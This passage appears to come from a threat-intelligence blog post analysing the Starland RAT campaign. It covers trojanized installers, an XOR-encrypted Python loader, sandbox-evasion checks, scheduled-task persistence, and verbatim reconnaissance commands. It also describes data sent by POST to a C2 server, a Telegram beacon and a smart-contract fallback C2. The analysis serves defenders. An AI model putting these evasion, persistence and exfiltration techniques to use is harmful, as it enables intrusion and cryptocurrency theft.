srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/HTA.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/HTA.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/HTA.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/HTA.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;6.&#xA0;Weaponized HTA file that downloads and executes&#xA0;trojanized&#xA0;installers.&#xA0;</span></figcaption></figure><h2 id="python-loader-packaged-into-trojanized-installers">Python&#xA0;loader packaged into&#xA0;trojanized&#xA0;installers&#xA0;</h2><p>Talos has&#xA0;observed&#xA0;that the threat actor in this campaign has weaponized software installers by&#xA0;utilizing&#xA0;the&#xA0;Nullsoft&#xA0;Scriptable Install System (NSIS). They have packaged the Python runtime executable&#xA0;&#x201C;pythonw.exe&#x201D;&#xA0;along with a compiled Python loader, which is disguised as a license file named&#xA0;&#x201C;LICENSE.txt&#x201D;.&#xA0;The threat actor has&#xA0;modified&#xA0;the&#xA0;NSI&#xA0;script file of the installer to include instructions for executing&#xA0;the compiled Python loader using the Python runtime executable.&#xA0;&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/NSI-1.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="1750" height="1142" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/NSI-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/NSI-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/NSI-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/NSI-1.png 1750w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;7.&#xA0;Install section of the&#xA0;NSI&#xA0;script of a sample&#xA0;trojanized&#xA0;installer.&#xA0;</span></figcaption></figure><p>The compiled Python loader is a&#xA0;relatively large&#xA0;file obfuscated with&#xA0;numerous&#xA0;junk functions that perform random arithmetic operations and print randomly generated strings to the standard output. The actual execution logic is confined to six lines in the loader program, implementing XOR decryption using the XOR key 198 (0xC6) to decrypt the encrypted embedded payload of&#xA0;Starland RAT&#xA0;and execute it&#xA0;in the victim machine&apos;s memory.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Py-loader.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1586" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/Py-loader.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/Py-loader.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/Py-loader.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/Py-loader.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;8.&#xA0;Snippet of the decompiled&#xA0;Python loader program.</span></figcaption></figure><h2 id="starland-rat-a-python-based-rat">Starland&#xA0;RAT, a&#xA0;Python-based&#xA0;RAT&#xA0;</h2><p>Starland is a Python-based&#xA0;remote&#xA0;access&#xA0;tool (RAT) with the capability to steal cryptocurrency. During its&#xA0;initial&#xA0;execution phase, the RAT resolves and declares all required Windows API function signatures through Python&#x2019;s&#xA0;ctypes&#xA0;interfaces. It directly loads&#xA0;&#x201C;kernel32.dll&#x201D;&#xA0;using&#xA0;WinDLL&#xA0;and explicitly defines the argument types and return types for every Win32 call used later in execution, including VirtualAllocEx,&#xA0;WriteProcessMemory,&#xA0;CreateRemoteThread,&#xA0;VirtualProtectEx,&#xA0;CreateProcessA,&#xA0;QueueUserAPC, and&#xA0;ResumeThread. Custom&#xA0;ctypes&#xA0;Structure subclasses are declared for SECURITY_ATTRIBUTES, STARTUPINFO, and PROCESS_INFORMATION, mirroring the definitions in the Windows SDK. This API mapping mechanism ensures that all injection and process manipulation calls later in execution are ready without further need for Windows API imports or dynamic resolution.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-1.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="3227" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/py-RAT-1.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/py-RAT-1.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/py-RAT-1.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-1.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;9.&#xA0;Snippet of the Starland RAT function for resolving and declaring the Windows API&#xA0;functions.&#xA0;</span></figcaption></figure><p>Before any malicious logic executes, the RAT conducts&#xA0;check&#xA0;for anti-analysis environments. First, it compares the logged-on username of the victim machine against a hardcoded list of usernames, which includes known sandbox service accounts and aliases, including&#xA0;WDAGUtilityAccount. Next, the RAT verifies the victim&apos;s computer name against&#xA0;a&#xA0;list of hostnames from recognized sandbox environments, such as Cuckoo,&#xA0;Any.Run, Joe Sandbox, and Hybrid Analysis. If either check matches, the RAT&apos;s execution&#xA0;terminates&#xA0;immediately. Additionally, the RAT examines the Downloads folder for a&#xA0;Zone.Identifier&#xA0;alternate data stream on the&#xA0;trojanized&#xA0;installer file, confirming that the file was obtained via a browser download rather than being uploaded or copied directly.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-2.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1195" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/py-RAT-2.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/py-RAT-2.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/py-RAT-2.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-2.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;10.&#xA0;Snippet of Starland RAT showing the hardcoded list of usernames and computer names for&#xA0;detection of&#xA0;evasion checks.&#xA0;</span></figcaption></figure><p>The RAT&#xA0;establishes&#xA0;persistence before any network communication with the C2 takes place. The primary mechanism involves creating a scheduled task using the PowerShell <code>New-ScheduledTask</code> command, with a randomized name following the pattern <code>PythonLauncher-{3 random characters}</code>. When executed with administrator privileges, the trigger is set to&#xA0;AtLogOn&#xA0;with&#xA0;RunLevel&#xA0;Highest, ensuring the elevated re-execution of the RAT at every user logon. Additionally, a secondary Startup folder LNK shortcut is created via the&#xA0;WScript.Shell&#xA0;COM object, placed in the user&apos;s Startup directory, targeting&#xA0;&#x201C;pythonw.exe&#x201D;&#xA0;with <code>LICENSE.txt</code>&#xA0;as its argument. If the RAT is not already running with elevated privileges, it also&#xA0;attempts&#xA0;UAC elevation via&#xA0;ShellExecuteW&#xA0;with the <code>runas</code>verb, aiming to upgrade the scheduled task to the higher-privilege logon before&#xA0;proceeding.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-3.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="2365" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/py-RAT-3.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/py-RAT-3.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/py-RAT-3.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-3.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;11.&#xA0;Snippet of Starland RAT with the instructions for&#xA0;establishing&#xA0;persistence.&#xA0;</span></figcaption></figure><p>It performs system reconnaissance, assembling the victim profile that includes the system hardware-bound unique identifier (HWID), total RAM size of the victim machine, and installed antivirus by executing the following commands:&#xA0;</p>
<!--kg-card-begin: html-->
<pre>
Get-CimInstance -Class Win32_ComputerSystemProduct.UUID&#xA0;&#xA0;
wmic memorychip get Capacity&#xA0;&#xA0;&#xA0;
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
</pre>
<!--kg-card-end: html-->
<p>The RAT also conducts Active Directory reconnaissance via the PowerShell command <code>Get-WmiObject Win32_ComputerSystem.Domain</code>. If the victim is identified as a member of Active Directory, the RAT executes the following commands to collect information about domain structure, domain controllers, and the victim&#x2019;s domain privileges:&#xA0;</p>
<!--kg-card-begin: html-->
<pre>
whoami &amp;&amp; systeminfo &amp;&amp; net user {USERNAME} /dom &amp;&amp; nltest /dclist
</pre>
<!--kg-card-end: html-->
<p>For workgroup-only hosts, it executes the <code>whoami /all</code> command. The reconnaissance data collected are staged by the RAT for inclusion during the victim machine registration to the primary C2 domain hardcoded in the RAT program. It also captures a screenshot of the victim machine&apos;s desktop, saves it as a PNG in the RAT&#x2019;s working directory, generates a&#xA0;Base64-encoded string for the PNG file in memory, stages it alongside the reconnaissance data, and deletes the PNG file from the disk.&#xA0;</p><p>Additionally, it gathers the victim&#x2019;s cryptocurrency assets information by&#xA0;enumerating&#xA0;the desktop&#xA0;cryptocurrency&#xA0;wallets and browser extension wallets, checking for the presence of over 40 cryptocurrency&#xA0;wallets.&#xA0;The collected data&#xA0;is also staged alongside the reconnaissance data and the&#xA0;Base64-encoded screenshot (PNG)&#xA0;data. The&#xA0;RAT consolidates all collected data into a single JSON file, XOR encrypts it with the 5-byte key &#x201C;helo1&#x201D;,&#xA0;Base64-encodes it, and sends it to the primary C2 through&#xA0;an <code>HTTP POST</code> request using the HTTP user-Agent:</p><p><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64)&#xA0;AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36</code>.&#xA0;&#xA0;</p><p>If the primary C2 registration fails, the RAT enables a blockchain-anchored fallback mechanism. An <code>eth_call</code> is triggered via JSON-RPC to the public Polygon RPC endpoint&#xA0;&#x201C;polygon-rpc[.]com&#x201D;,&#xA0;targeting the smart contract &#x201C;0x6ae382ed2154cc84c6672e4e908cd2c69c1b35ba&#x201D; and function selector &#x201C;0xc659f3b8&#x201D; for the latest block. The encrypted hexadecimal string that the RAT receives from the smart contract is XOR-decrypted with the key &#x201C;$m7*rYpry3&#x201D; to recover a fallback domain to which the RAT sends the victim machine registration request along with the reconnaissance and screenshot data.&#xA0;</p><p>Before transmitting the reconnaissance information to the C2 for the victim&apos;s machine registration, the RAT sends a notification message to the attacker-controlled Telegram bot using hardcoded credentials. The message includes the victim&apos;s public IP address sourced from&#xA0;&#x201C;api64.ipify[.]org&#x201D;,&#xA0;the build name, region locale, computer name presented as a&#xA0;&#x201C;Crew ID&#x201D;&#xA0;field, OS platform and release, processor string, and the hardcoded label&#xA0;&#xA0;<br>&quot;Windows Defender&#x201D;&#xA0;as the protection application indicator. If any Chrome cryptocurrency&#xA0;wallet extensions or desktop cold wallet applications were detected during the reconnaissance phase, they were also appended to the message of the Telegram bot, providing the threat actor with visibility into the victim profile and cryptocurrency&#xA0;assets before the actual registration of the victim machine to the C2.&#xA0;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-4.png" class="kg-image" alt="UAT-11795 deploys novel Starland RAT and bespoke WLDR C2 implant in financially motivated campaign" loading="lazy" width="2000" height="1311" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/07/py-RAT-4.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/07/py-RAT-4.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/07/py-RAT-4.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/07/py-RAT-4.png 2048w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure&#xA0;12.&#xA0;Starland RAT&#x2019;s&#xA0;Telegram bot message beaconing function.</span></figcaption></figure><p>After the RAT registers the&#xA0;compromised&#xA0;machine with the C2, it sends a <code>GET</code> request to the C2 server every 50&#xA0;&#x2013;&#xA0;60 seconds. It&#xA0;contains&#xA0;minimal JSON content with two randomly named junk fields and the bot&apos;s unique identifier, encoded using the same XOR key &#x201C;helo1&#x201D; and then&#xA0;Base64&#xA0;encoded. The C2 server responds with one of the&#xA0;four&#xA0;commands supported by the RAT:&#xA0;</p>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW136684052 BCX4" border="1" dir="ltr" data-tablestyle="MsoTableGrid" data-tablelook="1696" aria-rowcount="6" style="font-style: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-line: none; text-decoration-thickness: auto; text-decoration-style: solid; -webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; table-layout: fixed; width: 1px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; caret-color: rgba(0, 0, 0, 0.847); color: rgba(0, 0, 0, 0.847); font-family: &quot;Segoe UI&quot;, &quot;Segoe UI Web&quot;, Arial, Verdana, sans-serif; font-size: 12px; background: none; border-spacing: 0px;"><tbody class="SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text;"><tr class="TableRow SCXW136684052 BCX4" role="row" aria-rowindex="1" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstRow FirstCol SCXW136684052 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 168px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="530029045" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{242}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Commands</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="FirstRow LastCol SCXW136684052 BCX4" role="columnheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 456px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="1016860895" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{245}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-weight: bold; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Action</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW136684052 BCX4" role="row" aria-rowindex="2" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW136684052 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 168px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="1736658691" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{249}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">shellexecute</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW136684052 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 456px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="394825344" paraeid="{12d0fb38-38de-4e11-a7da-dc9dced0814c}{252}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Runs an arbitrary shell string via &#x201C;</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">cmd</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"><span class="Apple-converted-space">&#xA0;</span>/c&#x201D; or PowerShell and returns the output to the<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">C2 server through<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">HTTP POST<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">request.</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW136684052 BCX4" role="row" aria-rowindex="3" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW136684052 BCX4" role="rowheader" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 168px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="780020929" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{2}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">x32</span></span><span class="EOP SCXW136684052 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW136684052 BCX4" data-celllook="0" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 456px;"><div class="TableCellContent SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px 7px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW136684052 BCX4" paraid="947318055" paraeid="{4d3fc864-b4e4-4c5c-8724-39358c990924}{5}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 12pt; line-height: 18px; font-family: Aptos, Aptos_EmbeddedFont, Aptos_MSCustomFont, Aptos_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Receives a 32-bit shellcode<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">URL<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">and executes<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">the<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">s</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">hellcode that is<span class="Apple-converted-space">&#xA0;</span></span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">staged</span><span class="NormalTextRun SCXW136684052 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 